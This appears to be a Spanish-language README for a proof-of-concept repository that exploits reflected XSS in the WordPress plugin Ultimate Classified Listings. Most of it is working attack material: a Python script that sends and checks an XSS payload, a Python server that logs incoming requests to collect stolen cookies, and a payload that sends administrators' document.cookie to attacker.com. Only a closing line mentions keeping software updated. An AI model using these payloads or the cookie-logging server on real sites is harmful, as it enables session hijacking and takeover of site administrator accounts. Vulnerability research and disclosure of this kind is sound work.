
Pruebas de concepto que demuestran XSS reflejado en el plugin de WordPress Ultimate Classified Listings y el robo de cookies de administrador mediante payloads diseñados y un servidor de registro.
Este repositorio contiene scripts de Prueba de Concepto (PoC) para varias vulnerabilidades descubiertas en diferentes plugins de WordPress. Estos scripts demuestran cómo los atacantes pueden explotar estas vulnerabilidades para realizar acciones maliciosas.
Cross-Site Scripting (XSS) Reflejado en Ultimate Classified Listings Plugin
Robo de Cookies Usando XSS
Este PoC demuestra cómo explotar la vulnerabilidad XSS reflejado en el plugin Ultimate Classified Listings.
Identificar el Parámetro Vulnerable:
search en la URL http://example.com/classifieds.Crear una URL Maliciosa:
http://example.com/classifieds?search=<script>alert('XSS')</script>
Ejecutar el Script de PoC:
xss_poc.py y ejecútelo.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
Este PoC demuestra cómo un atacante puede explotar la vulnerabilidad XSS reflejado para robar cookies de usuarios con altos privilegios.
Configurar un Servidor Malicioso:
malicious_server.py y ejecútelo para iniciar un servidor que registre las solicitudes entrantes (incluyendo cookies).from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
Crear un Payload para Robar Cookies:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
Ejecutar el Script de PoC:
steal_cookies_poc.py y ejecútelo.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
Estos PoCs demuestran cómo un atacante podría explotar vulnerabilidades en plugins de WordPress para realizar acciones maliciosas. Siempre mantenga su software actualizado y siga las mejores prácticas de seguridad para prevenir tales vulnerabilidades.